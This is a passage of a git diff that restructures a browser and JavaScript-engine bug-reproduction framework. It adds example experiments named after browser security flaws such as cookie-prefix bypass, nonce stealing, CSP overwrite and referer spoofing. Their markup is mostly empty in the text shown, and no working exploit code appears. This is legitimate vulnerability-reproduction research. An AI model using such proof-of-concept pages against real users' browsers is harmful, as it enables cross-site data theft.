requirements.txt - # docker -s3transfer==0.12.0 - # via boto3 -simple-websocket==1.1.0 - # via - # -r requirements.txt - # flask-sock -six==1.17.0 - # via - # -r requirements.txt - # flatten-dict - # python-dateutil - # xlib -tomlkit==0.13.2 - # via pylint -urllib3==2.4.0 - # via - # -r requirements.txt - # botocore - # docker - # requests -werkzeug==3.1.3 - # via - # -r requirements.txt - # flask -wsproto==1.2.0 - # via - # -r requirements.txt - # simple-websocket -xlib==0.21 - # via -r requirements.txt diff --git a/scripts/boot/core.sh b/scripts/boot/core.sh index 87e5b6e4..04708a58 100755 --- a/scripts/boot/core.sh +++ b/scripts/boot/core.sh @@ -2,8 +2,8 @@ source /app/scripts/boot/setup_environment.sh -chmod -R 777 /app/browser/binaries/chromium/artisanal -chmod -R 777 /app/browser/binaries/firefox/artisanal +chmod -R 777 /app/subject/web_browser/executable/chromium/artisanal +chmod -R 777 /app/subject/web_browser/executable/firefox/artisanal /app/scripts/boot/generate_certs.sh /app/scripts/boot/manage_certs.sh @@ -12,14 +12,17 @@ rm -f /tmp/Xvfb.pid rm -f /tmp/.X1-lock service xvfb start +uv sync --no-dev --locked + if [[ "$DEVELOPMENT" == "1" ]]; then exec sleep infinity; else - exec gunicorn 'bci.app:create_app()' \ + exec gunicorn 'bughog.app:create_app()' \ --name core \ --workers 1 \ --threads 100 \ --bind '0.0.0.0:5000' \ + --graceful-timeout 2 \ --access-logfile /app/logs/gunicorn_access.log \ --log-file /app/logs/gunicorn.log \ --log-level info diff --git a/scripts/boot/manage_certs.sh b/scripts/boot/manage_certs.sh index 087e73fc..62891c61 100755 --- a/scripts/boot/manage_certs.sh +++ b/scripts/boot/manage_certs.sh @@ -6,5 +6,5 @@ mkdir -p $HOME/.pki/nssdb && \ certutil -d sql:$HOME/.pki/nssdb -A -t TC -n bughog_CA -i /etc/nginx/ssl/certs/bughog_CA.crt # Firefox -# Certificates are added to the generated profiles in ./bci/browser/configuration/firefox.py +# Certificates are added to the generated profiles in ./bughog/browser/configuration/firefox.py diff --git a/scripts/boot/worker.sh b/scripts/boot/worker.sh index a0602de9..bffee9c5 100755 --- a/scripts/boot/worker.sh +++ b/scripts/boot/worker.sh @@ -7,4 +7,5 @@ source /app/scripts/boot/setup_environment.sh rm -f /tmp/Xvfb.pid service xvfb start -exec python3 /app/bci/worker.py "$@" +uv sync --no-dev --locked +exec python3 /app/bughog/worker.py "$@" diff --git a/scripts/down_dev.sh b/scripts/down_dev.sh new file mode 100755 index 00000000..2cd21f41 --- /dev/null +++ b/scripts/down_dev.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +exec docker rm -f bh_core_dev bughog-node_dev-1 bh_nginx_dev diff --git a/scripts/node_update.sh b/scripts/node_update.sh index 24cd6576..47be63da 100755 --- a/scripts/node_update.sh +++ b/scripts/node_update.sh @@ -1,3 +1,3 @@ #!/bin/sh -exec docker run -v ${PWD}/bci/web/vue/:/app -w /app node:lts-alpine npm update +exec docker run -v ${PWD}/bughog/web/vue/:/app -w /app node:lts-alpine npm update diff --git a/scripts/pip_update.sh b/scripts/pip_update.sh deleted file mode 100755 index 150c577f..00000000 --- a/scripts/pip_update.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/sh - -pip-compile -U requirements.in -pip-compile -U requirements_dev.in diff --git a/scripts/uv_update.sh b/scripts/uv_update.sh new file mode 100755 index 00000000..37a1ed4b --- /dev/null +++ b/scripts/uv_update.sh @@ -0,0 +1,4 @@ +#!/bin/sh + +uv lock --upgrade +uv sync diff --git a/subject/js_engine/experiments/_tests/all-reproduced/poc.js b/subject/js_engine/experiments/_tests/all-reproduced/poc.js new file mode 100644 index 00000000..3fed3c50 --- /dev/null +++ b/subject/js_engine/experiments/_tests/all-reproduced/poc.js @@ -0,0 +1,4 @@ +// bughog_runtime_flags: --allow-natives-syntax +// bughog_expected_reproducing_versions: all + +print('bughog_reproduced=ok'); diff --git a/subject/js_engine/experiments/_tests/none-reproduced/poc.js b/subject/js_engine/experiments/_tests/none-reproduced/poc.js new file mode 100644 index 00000000..f42293fe --- /dev/null +++ b/subject/js_engine/experiments/_tests/none-reproduced/poc.js @@ -0,0 +1,4 @@ +// bughog_runtime_flags: --allow-natives-syntax +// bughog_expected_reproducing_versions: none + +print("bughog_sanity_check=ok"); diff --git a/subject/js_engine/experiments/examples/env-var/poc.js b/subject/js_engine/experiments/examples/env-var/poc.js new file mode 100644 index 00000000..79e8cd65 --- /dev/null +++ b/subject/js_engine/experiments/examples/env-var/poc.js @@ -0,0 +1,4 @@ +// bughog_env_vars: ASAN_OPTIONS=verbosity=1 +// bughog_expected_output: exited +%DebugPrint("bughog_sanity_check=ok"); +print('V8 version: ' + version()); diff --git a/subject/js_engine/experiments/examples/except-v7/poc.js b/subject/js_engine/experiments/examples/except-v7/poc.js new file mode 100644 index 00000000..ccf66a48 --- /dev/null +++ b/subject/js_engine/experiments/examples/except-v7/poc.js @@ -0,0 +1,4 @@ +// bughog_runtime_flags: --allow-natives-syntax +// bughog_unexpected_output: V8 version: 7 +%DebugPrint("bughog_sanity_check=ok"); +print('V8 version: ' + version()); diff --git a/subject/js_engine/experiments/examples/only-v7/poc.js b/subject/js_engine/experiments/examples/only-v7/poc.js new file mode 100644 index 00000000..bdcf6fbe --- /dev/null +++ b/subject/js_engine/experiments/examples/only-v7/poc.js @@ -0,0 +1,4 @@ +// bughog_runtime_flags: --allow-natives-syntax +// bughog_expected_output: V8 version: 7 +%DebugPrint("bughog_sanity_check=ok"); +print('V8 version: ' + version()); diff --git a/bci/version_control/repository/__init__.py b/subject/web_browser/executable/Dockerfile similarity index 100% rename from bci/version_control/repository/__init__.py rename to subject/web_browser/executable/Dockerfile diff --git a/subject/web_browser/executable/chromium/artisanal/meta.json b/subject/web_browser/executable/chromium/artisanal/meta.json new file mode 100755 index 00000000..9e26dfee --- /dev/null +++ b/subject/web_browser/executable/chromium/artisanal/meta.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/subject/web_browser/executable/firefox/artisanal/Ladybird b/subject/web_browser/executable/firefox/artisanal/Ladybird new file mode 100755 index 00000000..f9d01c9f Binary files /dev/null and b/subject/web_browser/executable/firefox/artisanal/Ladybird differ diff --git a/subject/web_browser/executable/firefox/artisanal/meta.json b/subject/web_browser/executable/firefox/artisanal/meta.json new file mode 100755 index 00000000..9e26dfee --- /dev/null +++ b/subject/web_browser/executable/firefox/artisanal/meta.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/bci/evaluations/custom/default_files/html b/subject/web_browser/experiments/_default_files/html similarity index 86% rename from bci/evaluations/custom/default_files/html rename to subject/web_browser/experiments/_default_files/html index 2af82326..afe34144 100644 --- a/bci/evaluations/custom/default_files/html +++ b/subject/web_browser/experiments/_default_files/html @@ -1,4 +1,5 @@ + @@ -7,4 +8,4 @@ - \ No newline at end of file + diff --git a/subject/web_browser/experiments/_default_files/js b/subject/web_browser/experiments/_default_files/js new file mode 100644 index 00000000..8e30470c --- /dev/null +++ b/subject/web_browser/experiments/_default_files/js @@ -0,0 +1,3 @@ +// Status: 200 + +// TODO - implement your PoC. diff --git a/bci/evaluations/custom/default_files/py b/subject/web_browser/experiments/_default_files/py similarity index 100% rename from bci/evaluations/custom/default_files/py rename to subject/web_browser/experiments/_default_files/py diff --git a/bci/evaluations/custom/default_files/script.cmd b/subject/web_browser/experiments/_default_files/script.cmd similarity index 96% rename from bci/evaluations/custom/default_files/script.cmd rename to subject/web_browser/experiments/_default_files/script.cmd index 2a25c1f2..a50a9c27 100644 --- a/bci/evaluations/custom/default_files/script.cmd +++ b/subject/web_browser/experiments/_default_files/script.cmd @@ -11,11 +11,10 @@ # RELEASE key # HOTKEY key1 key2 ... # SLEEP seconds where seconds is a float or an int -# REPORT_LEAK # ASSERT_FILE_CONTAINS file content if the downloaded file exists and contains the given content as a substring, the evaluation continues # otherwise the evaluation terminates and the exact reason is reported ### Debugging commands # SCREENSHOT file_name # OPEN_FILE file -# OPEN_CONSOLE \ No newline at end of file +# OPEN_CONSOLE diff --git a/experiments/pages/IntegrationTests/all_reproduced/a.test/main/index.html b/subject/web_browser/experiments/_tests/all-reproduced/index.html similarity index 73% rename from experiments/pages/IntegrationTests/all_reproduced/a.test/main/index.html rename to subject/web_browser/experiments/_tests/all-reproduced/index.html index 7bc6372e..6bea04ff 100644 --- a/experiments/pages/IntegrationTests/all_reproduced/a.test/main/index.html +++ b/subject/web_browser/experiments/_tests/all-reproduced/index.html @@ -1,3 +1,5 @@ + + @@ -9,4 +11,4 @@ document.location.href = 'https://a.test/report/?bughog_reproduced=OK'; - \ No newline at end of file + diff --git a/experiments/pages/Support/AutoGUI/a.test/main/index.html b/subject/web_browser/experiments/_tests/auto-gui/index.html similarity index 70% rename from experiments/pages/Support/AutoGUI/a.test/main/index.html rename to subject/web_browser/experiments/_tests/auto-gui/index.html index 93eb4fc7..f289bfb4 100644 --- a/experiments/pages/Support/AutoGUI/a.test/main/index.html +++ b/subject/web_browser/experiments/_tests/auto-gui/index.html @@ -1,4 +1,5 @@ + @@ -7,8 +8,8 @@
- +
- \ No newline at end of file + diff --git a/experiments/pages/Support/AutoGUI/script.cmd b/subject/web_browser/experiments/_tests/auto-gui/script.cmd similarity index 75% rename from experiments/pages/Support/AutoGUI/script.cmd rename to subject/web_browser/experiments/_tests/auto-gui/script.cmd index 18faa4b5..7633239a 100644 --- a/experiments/pages/Support/AutoGUI/script.cmd +++ b/subject/web_browser/experiments/_tests/auto-gui/script.cmd @@ -1,10 +1,10 @@ -NAVIGATE https://a.test/Support/AutoGUI/main +NAVIGATE https://a.test/_tests/auto-gui/ OPEN_CONSOLE SCREENSHOT click1 CLICK one -WRITE AutoGUI +WRITE OK HOTKEY ctrl a HOTKEY ctrl c diff --git a/experiments/pages/IntegrationTests/click/a.test/main/index.html b/subject/web_browser/experiments/_tests/click/index.html similarity index 81% rename from experiments/pages/IntegrationTests/click/a.test/main/index.html rename to subject/web_browser/experiments/_tests/click/index.html index ec3dc170..fdb6c096 100644 --- a/experiments/pages/IntegrationTests/click/a.test/main/index.html +++ b/subject/web_browser/experiments/_tests/click/index.html @@ -1,3 +1,4 @@ + @@ -7,4 +8,4 @@ The interaction script will click this hyperlink - \ No newline at end of file + diff --git a/subject/web_browser/experiments/_tests/click/script.cmd b/subject/web_browser/experiments/_tests/click/script.cmd new file mode 100644 index 00000000..cf513a42 --- /dev/null +++ b/subject/web_browser/experiments/_tests/click/script.cmd @@ -0,0 +1,3 @@ +NAVIGATE https://a.test/_tests/click/main +SLEEP 1 +CLICK one diff --git a/experiments/pages/IntegrationTests/none_reproduced/a.test/main/index.html b/subject/web_browser/experiments/_tests/none-reproduced/index.html similarity index 75% rename from experiments/pages/IntegrationTests/none_reproduced/a.test/main/index.html rename to subject/web_browser/experiments/_tests/none-reproduced/index.html index 2af82326..94338891 100644 --- a/experiments/pages/IntegrationTests/none_reproduced/a.test/main/index.html +++ b/subject/web_browser/experiments/_tests/none-reproduced/index.html @@ -1,4 +1,5 @@ + @@ -7,4 +8,4 @@ - \ No newline at end of file + diff --git a/subject/web_browser/experiments/_tests/python-server/index.html b/subject/web_browser/experiments/_tests/python-server/index.html new file mode 100644 index 00000000..2ee0a29d --- /dev/null +++ b/subject/web_browser/experiments/_tests/python-server/index.html @@ -0,0 +1,11 @@ + + + + + + + diff --git a/experiments/pages/Support/PythonServer/a.test/server.py b/subject/web_browser/experiments/_tests/python-server/server.py similarity index 78% rename from experiments/pages/Support/PythonServer/a.test/server.py rename to subject/web_browser/experiments/_tests/python-server/server.py index 46e5936a..43f79add 100644 --- a/experiments/pages/Support/PythonServer/a.test/server.py +++ b/subject/web_browser/experiments/_tests/python-server/server.py @@ -1,9 +1,9 @@ from flask import Request from typing import Callable -def main(req: Request, report_leak: Callable[[], None]): +def main(req: Request, reproduced: Callable[[], None]): if "leaked_secret" in req.url: - report_leak() + reproduced() return { "agent": req.headers.get("User-Agent"), diff --git a/subject/web_browser/experiments/_tests/redirect/index.html b/subject/web_browser/experiments/_tests/redirect/index.html new file mode 100644 index 00000000..cc03473d --- /dev/null +++ b/subject/web_browser/experiments/_tests/redirect/index.html @@ -0,0 +1,10 @@ + + + + + + + + You should have been redirected. + + diff --git a/subject/web_browser/experiments/examples/cookie-prefix-bypass/index.html b/subject/web_browser/experiments/examples/cookie-prefix-bypass/index.html new file mode 100644 index 00000000..899433be --- /dev/null +++ b/subject/web_browser/experiments/examples/cookie-prefix-bypass/index.html @@ -0,0 +1,18 @@ + + + + + + + + + + + diff --git a/subject/web_browser/experiments/examples/cross-origin-frame-redirect/embedded.html b/subject/web_browser/experiments/examples/cross-origin-frame-redirect/embedded.html new file mode 100644 index 00000000..e961ac1d --- /dev/null +++ b/subject/web_browser/experiments/examples/cross-origin-frame-redirect/embedded.html @@ -0,0 +1,3 @@ + diff --git a/subject/web_browser/experiments/examples/cross-origin-frame-redirect/index.html b/subject/web_browser/experiments/examples/cross-origin-frame-redirect/index.html new file mode 100644 index 00000000..4dcfc384 --- /dev/null +++ b/subject/web_browser/experiments/examples/cross-origin-frame-redirect/index.html @@ -0,0 +1,3 @@ + + + diff --git a/experiments/pages/CSP/c1072719/leak.test/main/index.html b/subject/web_browser/experiments/examples/csp-overwrite/index.html similarity index 50% rename from experiments/pages/CSP/c1072719/leak.test/main/index.html rename to subject/web_browser/experiments/examples/csp-overwrite/index.html index f00149b4..c26c3869 100644 --- a/experiments/pages/CSP/c1072719/leak.test/main/index.html +++ b/subject/web_browser/experiments/examples/csp-overwrite/index.html @@ -1,12 +1,12 @@ + + + - - - diff --git a/subject/web_browser/experiments/examples/form-blank/index.html b/subject/web_browser/experiments/examples/form-blank/index.html new file mode 100644 index 00000000..daded286 --- /dev/null +++ b/subject/web_browser/experiments/examples/form-blank/index.html @@ -0,0 +1,14 @@ + + + + + + + + + +
+ +
+ + diff --git a/subject/web_browser/experiments/examples/form-blank/script.cmd b/subject/web_browser/experiments/examples/form-blank/script.cmd new file mode 100644 index 00000000..54a1ce06 --- /dev/null +++ b/subject/web_browser/experiments/examples/form-blank/script.cmd @@ -0,0 +1,2 @@ +NAVIGATE https://leak.test/examples/form-blank/ +CLICK one diff --git a/subject/web_browser/experiments/examples/insecure-loads-local-embed/index.html b/subject/web_browser/experiments/examples/insecure-loads-local-embed/index.html new file mode 100644 index 00000000..61bbb30d --- /dev/null +++ b/subject/web_browser/experiments/examples/insecure-loads-local-embed/index.html @@ -0,0 +1,14 @@ + + + \ No newline at end of file diff --git a/subject/web_browser/experiments/examples/insecure-loads-local-embed/script.cmd b/subject/web_browser/experiments/examples/insecure-loads-local-embed/script.cmd new file mode 100644 index 00000000..255113fb --- /dev/null +++ b/subject/web_browser/experiments/examples/insecure-loads-local-embed/script.cmd @@ -0,0 +1 @@ +NAVIGATE http://a.test/examples/insecure-loads-local-embed/ diff --git a/subject/web_browser/experiments/examples/nonce-stealing/index.html b/subject/web_browser/experiments/examples/nonce-stealing/index.html new file mode 100644 index 00000000..158156f6 --- /dev/null +++ b/subject/web_browser/experiments/examples/nonce-stealing/index.html @@ -0,0 +1,5 @@ + + + diff --git a/subject/web_browser/experiments/examples/prerender-bypass/index.html b/subject/web_browser/experiments/examples/prerender-bypass/index.html new file mode 100644 index 00000000..b96f00d1 --- /dev/null +++ b/subject/web_browser/experiments/examples/prerender-bypass/index.html @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/subject/web_browser/experiments/examples/referer-spoofing/index.html b/subject/web_browser/experiments/examples/referer-spoofing/index.html new file mode 100644 index 00000000..0401e840 --- /dev/null +++ b/subject/web_browser/experiments/examples/referer-spoofing/index.html @@ -0,0 +1,5 @@ + + + diff --git a/subject/web_browser/experiments/examples/upgrade-insecure-requests-link/index.html b/subject/web_browser/experiments/examples/upgrade-insecure-requests-link/index.html new file mode 100644 index 00000000..a3d7644f --- /dev/null +++ b/subject/web_browser/experiments/examples/upgrade-insecure-requests-link/index.html @@ -0,0 +1,11 @@ + + + + + + + + + HTTP Link + + diff --git a/subject/web_browser/experiments/examples/upgrade-insecure-requests-link/script.cmd b/subject/web_browser/experiments/examples/upgrade-insecure-requests-link/script.cmd new file mode 100644 index 00000000..7d927534 --- /dev/null +++ b/subject/web_browser/experiments/examples/upgrade-insecure-requests-link/script.cmd @@ -0,0 +1,3 @@ +NAVIGATE https://leak.test/examples/upgrade-insecure-requests-link +CLICK one +SLEEP 2 diff --git a/browser/extensions/README.md b/subject/web_browser/extensions/README.md similarity index 100% rename from browser/extensions/README.md rename to subject/web_browser/extensions/README.md diff --git a/browser/extensions/chromium/.gitkeep b/subject/web_browser/extensions/chromium/.gitkeep similarity index 100% rename from browser/extensions/chromium/.gitkeep rename to subject/web_browser/extensions/chromium/.gitkeep diff --git a/browser/extensions/firefox/.gitkeep b/subject/web_browser/extensions/firefox/.gitkeep similarity index 100% rename from browser/extensions/firefox/.gitkeep rename to subject/web_browser/extensions/firefox/.gitkeep diff --git a/browser/profiles/chromium/17_btpc/Default/Preferences b/subject/web_browser/profiles/chromium/17_btpc/Default/Preferences similarity index 100% rename from browser/profiles/chromium/17_btpc/Default/Preferences rename to subject/web_browser/profiles/chromium/17_btpc/Default/Preferences diff --git a/browser/profiles/chromium/24_btpc/Default/Preferences b/subject/web_browser/profiles/chromium/24_btpc/Default/Preferences similarity index 100% rename from browser/profiles/chromium/24_btpc/Default/Preferences rename to subject/web_browser/profiles/chromium/24_btpc/Default/Preferences diff --git a/browser/profiles/chromium/36_btpc/Default/Preferences b/subject/web_browser/profiles/chromium/36_btpc/Default/Preferences similarity index 100% rename from browser/profiles/chromium/36_btpc/Default/Preferences rename to subject/web_browser/profiles/chromium/36_btpc/Default/Preferences diff --git a/browser/profiles/chromium/40_btpc/Default/Preferences b/subject/web_browser/profiles/chromium/40_btpc/Default/Preferences similarity index 100% rename from browser/profiles/chromium/40_btpc/Default/Preferences rename to subject/web_browser/profiles/chromium/40_btpc/Default/Preferences diff --git a/browser/profiles/chromium/46_btpc/Default/Preferences b/subject/web_browser/profiles/chromium/46_btpc/Default/Preferences similarity index 100% rename from browser/profiles/chromium/46_btpc/Default/Preferences rename to subject/web_browser/profiles/chromium/46_btpc/Default/Preferences diff --git a/browser/profiles/chromium/59_btpc/BrowserMetrics-active.pma b/subject/web_browser/profiles/chromium/59_btpc/BrowserMetrics-active.pma similarity index 100% rename from browser/profiles/chromium/59_btpc/BrowserMetrics-active.pma rename to subject/web_browser/profiles/chromium/59_btpc/BrowserMetrics-active.pma diff --git a/browser/profiles/chromium/59_btpc/Default/Preferences b/subject/web_browser/profiles/chromium/59_btpc/Default/Preferences similarity index 100% rename from browser/profiles/chromium/59_btpc/Default/Preferences rename to subject/web_browser/profiles/chromium/59_btpc/Default/Preferences diff --git a/browser/profiles/chromium/59_btpc/First Run b/subject/web_browser/profiles/chromium/59_btpc/First Run similarity index 100% rename from browser/profiles/chromium/59_btpc/First Run rename to subject/web_browser/profiles/chromium/59_btpc/First Run diff --git a/browser/profiles/chromium/59_btpc/Local State b/subject/web_browser/profiles/chromium/59_btpc/Local State similarity index 100% rename from browser/profiles/chromium/59_btpc/Local State rename to subject/web_browser/profiles/chromium/59_btpc/Local State diff --git a/browser/profiles/chromium/6_btpc/Default/Preferences b/subject/web_browser/profiles/chromium/6_btpc/Default/Preferences similarity index 100% rename from browser/profiles/chromium/6_btpc/Default/Preferences rename to subject/web_browser/profiles/chromium/6_btpc/Default/Preferences diff --git a/browser/profiles/firefox/cert8.db b/subject/web_browser/profiles/firefox/cert8.db similarity index 100% rename from browser/profiles/firefox/cert8.db rename to subject/web_browser/profiles/firefox/cert8.db diff --git a/browser/profiles/firefox/default-67/.parentlock b/subject/web_browser/profiles/firefox/default-67/.parentlock similarity index 100% rename from browser/profiles/firefox/default-67/.parentlock rename to subject/web_browser/profiles/firefox/default-67/.parentlock diff --git a/browser/profiles/firefox/default-67/.startup-incomplete b/subject/web_browser/profiles/firefox/default-67/.startup-incomplete similarity index 100% rename from browser/profiles/firefox/default-67/.startup-incomplete rename to subject/web_browser/profiles/firefox/default-67/.startup-incomplete diff --git a/browser/profiles/firefox/default-67/OfflineCache/index.sqlite b/subject/web_browser/profiles/firefox/default-67/OfflineCache/index.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/OfflineCache/index.sqlite rename to subject/web_browser/profiles/firefox/default-67/OfflineCache/index.sqlite diff --git a/browser/profiles/firefox/default-67/addonStartup.json.lz4 b/subject/web_browser/profiles/firefox/default-67/addonStartup.json.lz4 similarity index 100% rename from browser/profiles/firefox/default-67/addonStartup.json.lz4 rename to subject/web_browser/profiles/firefox/default-67/addonStartup.json.lz4 diff --git a/browser/profiles/firefox/default-67/addons.json b/subject/web_browser/profiles/firefox/default-67/addons.json similarity index 100% rename from browser/profiles/firefox/default-67/addons.json rename to subject/web_browser/profiles/firefox/default-67/addons.json diff --git a/browser/profiles/firefox/default-67/blocklist.xml b/subject/web_browser/profiles/firefox/default-67/blocklist.xml similarity index 100% rename from browser/profiles/firefox/default-67/blocklist.xml rename to subject/web_browser/profiles/firefox/default-67/blocklist.xml diff --git a/browser/profiles/firefox/default-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs b/subject/web_browser/profiles/firefox/default-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs similarity index 100% rename from browser/profiles/firefox/default-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs rename to subject/web_browser/profiles/firefox/default-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs diff --git a/browser/profiles/firefox/default-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= b/subject/web_browser/profiles/firefox/default-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= similarity index 100% rename from browser/profiles/firefox/default-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= rename to subject/web_browser/profiles/firefox/default-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= diff --git a/browser/profiles/firefox/default-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB b/subject/web_browser/profiles/firefox/default-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB diff --git a/browser/profiles/firefox/default-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 diff --git a/browser/profiles/firefox/default-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 diff --git a/browser/profiles/firefox/default-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 diff --git a/browser/profiles/firefox/default-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 diff --git a/browser/profiles/firefox/default-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 diff --git a/browser/profiles/firefox/default-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 diff --git a/browser/profiles/firefox/default-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 diff --git a/browser/profiles/firefox/default-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 diff --git a/browser/profiles/firefox/default-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 diff --git a/browser/profiles/firefox/default-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 diff --git a/browser/profiles/firefox/default-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 diff --git a/browser/profiles/firefox/default-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 b/subject/web_browser/profiles/firefox/default-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 diff --git a/browser/profiles/firefox/default-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C b/subject/web_browser/profiles/firefox/default-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C similarity index 100% rename from browser/profiles/firefox/default-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C rename to subject/web_browser/profiles/firefox/default-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C diff --git a/browser/profiles/firefox/default-67/cert9.db b/subject/web_browser/profiles/firefox/default-67/cert9.db similarity index 100% rename from browser/profiles/firefox/default-67/cert9.db rename to subject/web_browser/profiles/firefox/default-67/cert9.db diff --git a/browser/profiles/firefox/default-67/compatibility.ini b/subject/web_browser/profiles/firefox/default-67/compatibility.ini similarity index 100% rename from browser/profiles/firefox/default-67/compatibility.ini rename to subject/web_browser/profiles/firefox/default-67/compatibility.ini diff --git a/browser/profiles/firefox/default-67/content-prefs.sqlite b/subject/web_browser/profiles/firefox/default-67/content-prefs.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/content-prefs.sqlite rename to subject/web_browser/profiles/firefox/default-67/content-prefs.sqlite diff --git a/browser/profiles/firefox/default-67/cookies.sqlite b/subject/web_browser/profiles/firefox/default-67/cookies.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/cookies.sqlite rename to subject/web_browser/profiles/firefox/default-67/cookies.sqlite diff --git a/browser/profiles/firefox/default-67/cookies.sqlite-wal b/subject/web_browser/profiles/firefox/default-67/cookies.sqlite-wal similarity index 100% rename from browser/profiles/firefox/default-67/cookies.sqlite-wal rename to subject/web_browser/profiles/firefox/default-67/cookies.sqlite-wal diff --git a/browser/profiles/firefox/default-67/datareporting/state.json 